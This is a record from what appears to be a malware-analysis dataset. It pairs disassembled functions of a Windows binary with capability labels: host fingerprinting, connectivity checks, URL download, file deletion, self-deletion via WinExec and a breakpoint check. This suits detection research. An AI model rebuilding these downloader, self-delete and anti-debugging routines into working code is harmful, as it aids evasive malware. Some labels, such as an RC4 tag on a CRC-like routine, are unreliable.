joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c23b4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405c14
xor eax, eax
push ebp
push 0x4c246d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov edx, 0x4c2480
call fcn.004057a4
push 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00405c24
push eax
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x4c244a
lea ecx, [ebp - 0x18]
movzx eax, word [ebp - 0x14]
mov edx, 4
call fcn.0040a6ec
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
call fcn.004089fc
movzx eax, ax
lea ecx, [ebp - 0x1c]
mov edx, 4
call fcn.0040a6ec
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 8]
pop ecx
call fcn.00405a70
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c2474
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00405774
lea eax, [ebp - 4]
call fcn.00405750
ret

Function at 0x4c2f74
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 8], 7
push 0
lea eax, [ebp - 8]
push eax
call sub.wininet.dll_InternetGetConnectedState
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
mov al, byte [ebp - 1]
pop ecx
pop ecx
pop ebp
ret

Function at 0x4c2f9c
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
mov dword [ebp - 4], eax
mov byte [ebp - 5], 0
call fcn.004c2f74
test al, al
je 0x4c2fdf
lea eax, [ebp - 0x19c]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [ebp - 4]
call fcn.00405c24
push eax
call sub.wsock32.dll_gethostbyname
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
setne byte [ebp - 5]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x4cb54c
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x4cb57a
mov eax, ebx
call fcn.004cc000
cmp dword [ebx + 0x40], 0
je 0x4cb573
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4cb5eb
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4cb5dd
cmp dword [ebx + 8], 0
je 0x4cb59c
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4cb5ae
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4cb5dd
cmp dword [ebx + 8], 0
je 0x4cb58f
cmp eax, 3
je 0x4cb5c1
dec eax
jne 0x4cb58f
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4cb58f
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x4cb58f
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x4cb609
cmp dword [ebx + 0x14], 0xcc
je 0x4cb609
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.004cb614
pop ebx
ret

Function at 0x4e862c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push ebp
mov eax, 8
test byte [edx + 1], 0x80
setne bl
movzx edi, word [edx]
add edi, edi
movzx esi, cl
mov ebp, esi
shr ebp, 7
or edi, ebp
cmp edi, 0xffff
jbe 0x4e8658
call fcn.00404718
mov word [edx], di
test bl, bl
je 0x4e8664
xor word [edx], 0x1021
add esi, esi
and esi, 0xff
cmp esi, 0xff
jbe 0x4e8679
call fcn.00404718
mov ecx, esi
dec eax
jne 0x4e8635
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x50bbb4
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc0
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0x240], edx
mov dword [ebp - 4], eax
lea esi, [ebp - 0x238]
xor eax, eax
push ebp
push 0x50bd7c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 9], 0
mov eax, dword [ebp - 4]
add eax, 0xa
call fcn.00405750
mov eax, dword [ebp - 4]
add eax, 0xe
call fcn.00405750
mov eax, dword [ebp - 4]
add eax, 0x12
call fcn.00405750
mov eax, dword [ebp - 4]
add eax, 0x16
call fcn.00405750
xor edx, edx
push ebp
push 0x50bd57
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 0
push 3
push 0
push 3
push 0
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 4]
call fcn.0050bb64
mov edx, eax
lea eax, [ebp - 0x240]
call fcn.00405938
mov ecx, dword [ebp - 0x240]
lea eax, [ebp - 0x23c]
mov edx, 0x50bd94
call fcn.00405a70
mov eax, dword [ebp - 0x23c]
call fcn.00405c24
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 5], ebx
cmp ebx, 0xffffffff
jne 0x50bc88
call fcn.00405170
jmp 0x50bd5e
lea eax, [ebp - 0x14]
xor ecx, ecx
mov edx, 0xc
call fcn.004039a8
mov eax, esi
xor ecx, ecx
mov edx, 0x224
call fcn.004039a8
mov eax, 0x224
mov dword [esi + 4], eax
push 0
lea edx, [ebp - 8]
push edx
push eax
push esi
push 0xc
lea eax, [ebp - 0x14]
push eax
push 0x2d1400
mov eax, dword [ebp - 4]
mov eax, dword [eax + 5]
push eax
call sub.kernel32.dll_DeviceIoControl
test eax, eax
jne 0x50bcd5
call fcn.00410700
mov eax, dword [esi + 0xc]
test eax, eax
je 0x50bcec
lea ebx, [esi + eax]
mov eax, dword [ebp - 4]
add eax, 0x16
mov edx, ebx
call fcn.00405958
mov eax, dword [esi + 0x10]
test eax, eax
je 0x50bd03
lea ebx, [esi + eax]
mov eax, dword [ebp - 4]
add eax, 0xe
mov edx, ebx
call fcn.00405958
mov eax, dword [esi + 0x14]
test eax, eax
je 0x50bd1a
lea ebx, [esi + eax]
mov eax, dword [ebp - 4]
add eax, 0xa
mov edx, ebx
call fcn.00405958
mov eax, dword [esi + 0x18]
test eax, eax
je 0x50bd31
lea ebx, [esi + eax]
mov eax, dword [ebp - 4]
add eax, 0x12
mov edx, ebx
call fcn.00405958
mov eax, dword [ebp - 4]
mov byte [eax + 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50bd5e
mov eax, dword [ebp - 4]
mov eax, dword [eax + 5]
cmp eax, 0xffffffff
je 0x50bd56
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50bd83
lea eax, [ebp - 0x240]
mov edx, 2
call fcn.00405774
ret

Function at 0x50ce10
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
mov dword [esp], pe_nt_image_headers32
push esp
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x50ce41
mov eax, ebx
lea edx, [esp + 4]
mov ecx, pe_nt_image_headers32
call fcn.004059d0
jmp 0x50ce48
mov eax, ebx
call fcn.00405750
add esp, 0x104
pop ebx
ret
Function at 0x50ce50
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x50ceca
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xff
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00405eac
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00405c24
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x50cea8
push ebx
mov ecx, dword [ebp - 8]
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405c84
jmp 0x50ceb4
mov eax, ebx
mov edx, 0x50cee0
call fcn.004057a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50ced1
lea eax, [ebp - 4]
call fcn.00405750
ret

Function at 0x50da90
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov byte [ebp - 9], cl
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405c14
mov eax, dword [ebp - 8]
call fcn.00405c14
xor eax, eax
push ebp
push 0x50dbab
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp - 9], 0
je 0x50daf7
xor ecx, ecx
mov dl, 1
mov eax, dword [0x50bdb4]
call fcn.0046c784
mov edx, dword [0x54dbf0]
mov dword [edx], eax
mov eax, dword [0x54dbf0]
mov eax, dword [eax]
call fcn.00471914
mov dl, 1
mov eax, dword [0x50c028]
call fcn.00404820
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
call fcn.00405c24
mov ebx, eax
push ebx
call sub.wininet.dll_DeleteUrlCacheEntry
xor eax, eax
push ebp
push 0x50db68
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp - 9], 0
je 0x50db42
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x50db25
sub eax, 0xfffffffc
push eax
push 1
mov eax, dword [ebp - 8]
call fcn.00405c24
push eax
push ebx
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete al
mov ebx, eax
jmp 0x50db5e
push 0
push 1
mov eax, dword [ebp - 8]
call fcn.00405c24
push eax
push ebx
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete al
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x50db74
cmp byte [ebp - 9], 0
je 0x50db90
mov eax, dword [0x54dbf0]
mov eax, dword [eax]
mov dl, 1
mov ecx, dword [eax]
call dword [ecx - 4]
mov eax, dword [ebp - 0x10]
call fcn.00404850
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50dbb2
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405774
ret
Function at 0x50dc0c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe90
xor edx, edx
mov dword [ebp - 0x170], edx
mov dword [ebp - 0x16c], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405c14
lea eax, [ebp - 0x168]
mov edx, dword [0x409020]
call fcn.004062a4
xor eax, eax
push ebp
push 0x50dd46
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x16c]
mov ecx, 0x50dd5c
mov edx, dword [ebp - 4]
call fcn.00405a70
mov eax, dword [ebp - 0x16c]
lea ecx, [ebp - 0x168]
mov edx, 0x3f
call fcn.0040adac
test eax, eax
jne 0x50dcae
test byte [ebp - 0x158], 0x10
jne 0x50dc94
mov eax, dword [ebp - 0x154]
call fcn.00405c24
push eax
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x168]
call fcn.0040adfc
test eax, eax
je 0x50dc7a
lea eax, [ebp - 0x168]
call fcn.0040ae20
lea eax, [ebp - 0x170]
mov ecx, 0x50dd6c
mov edx, dword [ebp - 4]
call fcn.00405a70
mov eax, dword [ebp - 0x170]
lea ecx, [ebp - 0x168]
mov edx, 0x3f
call fcn.0040adac
test eax, eax
jne 0x50dd0f
test byte [ebp - 0x158], 0x10
jne 0x50dcf5
mov eax, dword [ebp - 0x154]
call fcn.00405c24
push eax
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x168]
call fcn.0040adfc
test eax, eax
je 0x50dcdb
lea eax, [ebp - 0x168]
call fcn.0040ae20
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50dd4d
lea eax, [ebp - 0x170]
mov edx, 2
call fcn.00405774
lea eax, [ebp - 0x168]
mov edx, dword [0x409020]
call fcn.00406374
lea eax, [ebp - 4]
call fcn.00405750
ret
Function at 0x50de48
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x50de50
push ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405c14
mov eax, dword [ebp - 8]
call fcn.00405c14
xor eax, eax
push ebp
push 0x50e049
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
call fcn.0050dbbc
mov eax, dword [ebp - 0x14]
call fcn.0050dc0c
lea edx, [ebp - 0xc]
mov eax, 0x50e05c
call fcn.0050dda4
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.004031e8
mov eax, dword [ebp - 0x18]
xor edx, edx
call fcn.0040ad00
mov dl, 1
mov eax, dword [0x419fb4]
call fcn.00404820
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x50e009
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x50e06c
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.004031e8
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
mov edx, 0x50e088
call fcn.00405a70
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x50e098
lea edx, [ebp - 0x28]
xor eax, eax
call fcn.004031e8
push dword [ebp - 0x28]
push 0x50e0ac
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00405ae4
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx + 0x38]
cmp dword [ebp - 4], 0
je 0x50df6e
push 0x50e0cc
push dword [ebp - 4]
push 0x50e0dc
push dword [ebp - 8]
lea eax, [ebp - 0x2c]
mov edx, 4
call fcn.00405ae4
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x30]
xor eax, eax
call fcn.004031e8
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x3c]
xor eax, eax
call fcn.004031e8
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x38]
call fcn.0040af70
mov ecx, dword [ebp - 0x38]
lea eax, [ebp - 0x34]
mov edx, 0x50e0e8
call fcn.00405a70
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x40]
mov ecx, dword [ebp - 0xc]
mov edx, 0x50e088
call fcn.00405a70
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx + 0x74]
lea eax, [ebp - 0x44]
call fcn.0050dd74
mov eax, dword [ebp - 0x44]
call fcn.00402f5c
call fcn.00402f20
mov eax, 0x50e0f8
call fcn.0044812c
push 0
mov eax, dword [ebp - 0xc]
call fcn.00405c24
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50e010
mov eax, dword [ebp - 0x10]
call fcn.00404850
ret
Function at 0x50e360
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x50e368
push ecx
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x50e477
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 0x43
lea eax, [ebp - 0x14]
mov edx, ebx
call fcn.00405938
lea eax, [ebp - 0x14]
mov edx, 0x50e48c
call fcn.00405a2c
mov eax, dword [ebp - 0x14]
call fcn.0040abe4
test al, al
je 0x50e3d4
lea eax, [ebp - 0x18]
mov edx, ebx
call fcn.00405938
lea eax, [ebp - 0x18]
mov edx, 0x50e48c
call fcn.00405a2c
mov eax, dword [ebp - 0x18]
call fcn.00405c24
push eax
call sub.kernel32.dll_GetDriveTypeA
add eax, 0xfffffffd
sub eax, 2
jb 0x50e3da
inc ebx
cmp bl, 0x5b
jne 0x50e384
push 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x1c]
mov edx, ebx
call fcn.00405938
lea eax, [ebp - 0x1c]
mov edx, 0x50e48c
call fcn.00405a2c
mov eax, dword [ebp - 0x1c]
call fcn.00405c24
push eax
call sub.kernel32.dll_GetVolumeInformationA
lea ecx, [ebp - 0x20]
movzx eax, word [ebp - 8]
mov edx, 4
call fcn.0040a6ec
mov eax, dword [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
mov eax, dword [ebp - 8]
shr eax, 0x10
movzx eax, ax
mov edx, 4
call fcn.0040a6ec
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 4]
pop ecx
call fcn.00405a70
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.004057a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50e47e
lea eax, [ebp - 0x24]
mov edx, 5
call fcn.00405774
lea eax, [ebp - 4]
call fcn.00405750
ret
Function at 0x50e52c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov ecx, 7
push 0
push 0
dec ecx
jne 0x50e534
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x50e68e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.00405750
mov bl, 0x43
lea eax, [ebp - 0x24]
mov edx, ebx
call fcn.00405938
lea eax, [ebp - 0x24]
mov edx, 0x50e6a4
call fcn.00405a2c
mov eax, dword [ebp - 0x24]
call fcn.00405c24
push eax
call sub.kernel32.dll_GetDriveTypeA
sub eax, 3
jne 0x50e652
push 0
push 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
lea eax, [ebp - 0x28]
mov edx, ebx
call fcn.00405938
lea eax, [ebp - 0x28]
mov edx, 0x50e6a4
call fcn.00405a2c
mov eax, dword [ebp - 0x28]
call fcn.00405c24
push eax
call sub.kernel32.dll_GetVolumeInformationA
lea ecx, [ebp - 0x2c]
movzx eax, word [ebp - 0xc]
mov edx, 4
call fcn.0040a6ec
mov eax, dword [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x30]
mov eax, dword [ebp - 0xc]
shr eax, 0x10
movzx eax, ax
mov edx, 4
call fcn.0040a6ec
mov edx, dword [ebp - 0x30]
lea eax, [ebp - 4]
pop ecx
call fcn.00405a70
mov eax, ebx
sub al, 0x40
call fcn.0040b210
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
push dword [ebp - 8]
lea eax, [ebp - 0x34]
mov edx, ebx
call fcn.00405938
push dword [ebp - 0x34]
push 0x50e6b0
push dword [ebp - 4]
push 0x50e6c0
fild qword [ebp - 0x20]
fdiv dword [0x50e6c8]
add esp, 0xfffffff8
fstp qword [esp]
wait
lea ecx, [ebp - 0x38]
xor edx, edx
mov al, 0xa
call fcn.0050c6d0
push dword [ebp - 0x38]
push 0x50e6d4
lea eax, [ebp - 8]
mov edx, 7
call fcn.00405ae4
inc ebx
cmp bl, 0x5b
jne 0x50e557
mov eax, esi
mov edx, dword [ebp - 8]
call fcn.004057a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50e695
lea eax, [ebp - 0x38]
mov edx, 6
call fcn.00405774
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405774
ret

Function at 0x50ec04
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebx
push esi
push ecx
mov esi, eax
mov eax, esi
call fcn.00405750
push 0
lea eax, [esp + 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x50ec84
mov eax, dword [esp]
and eax, 1
cmp eax, 1
jne 0x50ec3d
mov eax, esi
mov edx, 0x50eca0
call fcn.004057a4
mov eax, dword [esp]
and eax, 2
cmp eax, 2
jne 0x50ec54
mov eax, esi
mov edx, 0x50ecb0
call fcn.004057a4
mov eax, dword [esp]
and eax, 4
cmp eax, 4
jne 0x50ec6b
mov eax, esi
mov edx, 0x50ecbc
call fcn.004057a4
mov eax, dword [esp]
and eax, 8
cmp eax, 8
jne 0x50ec90
mov eax, esi
mov edx, 0x50eccc
call fcn.004057a4
jmp 0x50ec90
mov eax, esi
mov edx, 0x50ece4
call fcn.004057a4
mov eax, ebx
pop edx
pop esi
pop ebx
ret
Function at 0x50f250
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd44
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x29c], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405c14
xor eax, eax
push ebp
push 0x50f39a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x298]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor ecx, ecx
push ebp
push 0x50f372
push dword fs:[ecx]
mov dword fs:[ecx], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x105]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x105]
mov edx, dword [ebp - 4]
call fcn.0040b430
lea eax, [ebp - 0x105]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x50f35b
mov edx, dword [eax + 0xc]
test edx, edx
je 0x50f355
mov ebx, dword [edx]
test ebx, ebx
je 0x50f34f
lea eax, [ebp - 0x29c]
push eax
movzx eax, byte [ebx]
mov dword [ebp - 0x2bc], eax
mov byte [ebp - 0x2b8], 0
movzx eax, byte [ebx + 1]
mov dword [ebp - 0x2b4], eax
mov byte [ebp - 0x2b0], 0
movzx eax, byte [ebx + 2]
mov dword [ebp - 0x2ac], eax
mov byte [ebp - 0x2a8], 0
movzx eax, byte [ebx + 3]
mov dword [ebp - 0x2a4], eax
mov byte [ebp - 0x2a0], 0
lea edx, [ebp - 0x2bc]
mov ecx, 3
mov eax, 0x50f3b4
call fcn.0040be3c
mov edx, dword [ebp - 0x29c]
mov eax, esi
call fcn.004057a4
mov byte [ebp - 5], 1
jmp 0x50f35f
mov byte [ebp - 5], 0
jmp 0x50f35f
mov byte [ebp - 5], 0
jmp 0x50f35f
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50f379
call sub.wsock32.dll_WSACleanup
ret
Function at 0x50f95c
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff58
push ebx
push esi
xor edx, edx
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0x9c], edx
mov dword [ebp - 0xa0], edx
mov dword [ebp - 0xa4], edx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x50fb5c
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x98], 0x94
lea eax, [ebp - 4]
call fcn.00405750
lea eax, [ebp - 0x98]
push eax
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x50fb2c
mov ebx, dword [ebp - 0x94]
cmp ebx, 6
jne 0x50fa14
mov eax, dword [ebp - 0x90]
cmp eax, 1
jne 0x50f9df
lea eax, [ebp - 4]
mov edx, 0x50fb74
call fcn.004057e8
jmp 0x50fa14
cmp eax, 2
jne 0x50f9f3
lea eax, [ebp - 4]
mov edx, 0x50fb84
call fcn.004057e8
jmp 0x50fa14
cmp eax, 3
jne 0x50fa07
lea eax, [ebp - 4]
mov edx, 0x50fb94
call fcn.004057e8
jmp 0x50fa14
lea eax, [ebp - 4]
mov edx, 0x50fba8
call fcn.004057e8
cmp ebx, 5
jne 0x50fa54
mov eax, dword [ebp - 0x90]
cmp eax, 1
jne 0x50fa33
lea eax, [ebp - 4]
mov edx, 0x50fbbc
call fcn.004057e8
jmp 0x50fa54
cmp eax, 2
jne 0x50fa47
lea eax, [ebp - 4]
mov edx, 0x50fbcc
call fcn.004057e8
jmp 0x50fa54
lea eax, [ebp - 4]
mov edx, 0x50fbe0
call fcn.004057e8
cmp ebx, 4
jne 0x50fa94
mov eax, dword [ebp - 0x90]
cmp eax, 0xa
jne 0x50fa73
lea eax, [ebp - 4]
mov edx, 0x50fbf4
call fcn.004057e8
jmp 0x50fa94
cmp eax, 0x5a
jne 0x50fa87
lea eax, [ebp - 4]
mov edx, 0x50fc04
call fcn.004057e8
jmp 0x50fa94
lea eax, [ebp - 4]
mov edx, 0x50fc14
call fcn.004057e8
push dword [ebp - 4]
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x9c]
call fcn.0040a6c4
push dword [ebp - 0x9c]
push 0x50fc24
mov eax, dword [ebp - 0x90]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xa0]
call fcn.0040a6c4
push dword [ebp - 0xa0]
push 0x50fc30
mov eax, dword [ebp - 0x8c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xa4]
call fcn.0040a6c4
push dword [ebp - 0xa4]
lea eax, [ebp - 4]
mov edx, 6
call fcn.00405ae4
push dword [ebp - 4]
push 0x50fc3c
lea eax, [ebp - 0xa8]
lea edx, [ebp - 0x84]
mov ecx, 0x80
call fcn.004059d0
push dword [ebp - 0xa8]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00405ae4
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.004057a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50fb63
lea eax, [ebp - 0xa8]
mov edx, 4
call fcn.00405774
lea eax, [ebp - 4]
call fcn.00405750
ret
Function at 0x510134
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffecc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x118], ebx
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0x120], ebx
mov dword [ebp - 0x124], ebx
mov dword [ebp - 0x128], ebx
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x130], ebx
mov dword [ebp - 0x134], ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x51033d
push dword fs:[eax]
mov dword fs:[eax], esp
mov bx, 1
inc ebx
lea eax, [ebp - 0x10d]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 0x114]
lea eax, [ebp - 0x10d]
call fcn.0040b5b0
push dword [ebp - 0x114]
push edi
push 0x510354
lea eax, [ebp - 0x118]
call fcn.0050ce50
push dword [ebp - 0x118]
push 0x510354
call fcn.0040cf50
add esp, 0xfffffff8
fstp qword [esp]
wait
call fcn.00477654
movzx eax, ax
lea edx, [ebp - 0x11c]
call fcn.0040a5d8
push dword [ebp - 0x11c]
call fcn.0040cf50
add esp, 0xfffffff8
fstp qword [esp]
wait
call fcn.00477678
movzx eax, ax
lea ecx, [ebp - 0x120]
mov edx, 2
call fcn.0050c750
push dword [ebp - 0x120]
call fcn.0040cf50
add esp, 0xfffffff8
fstp qword [esp]
wait
call fcn.0047769c
movzx eax, ax
lea ecx, [ebp - 0x124]
mov edx, 2
call fcn.0050c750
push dword [ebp - 0x124]
push 0x510354
call fcn.0040cf7c
add esp, 0xfffffff8
fstp qword [esp]
wait
call fcn.004776c0
movzx eax, ax
lea ecx, [ebp - 0x128]
mov edx, 2
call fcn.0050c750
push dword [ebp - 0x128]
call fcn.0040cf7c
add esp, 0xfffffff8
fstp qword [esp]
wait
call fcn.004776e8
movzx eax, ax
lea ecx, [ebp - 0x12c]
mov edx, 2
call fcn.0050c750
push dword [ebp - 0x12c]
call fcn.0040cf7c
add esp, 0xfffffff8
fstp qword [esp]
wait
call fcn.00477710
movzx eax, ax
lea ecx, [ebp - 0x130]
mov edx, 2
call fcn.0050c750
push dword [ebp - 0x130]
push 0x510354
lea edx, [ebp - 0x134]
movzx eax, bx
call fcn.0040a5d8
push dword [ebp - 0x134]
push dword [ebp - 8]
lea eax, [ebp - 4]
mov edx, 0xf
call fcn.00405ae4
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.004057a4
mov eax, dword [esi]
call fcn.0040abc0
test al, al
jne 0x510194
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x510344
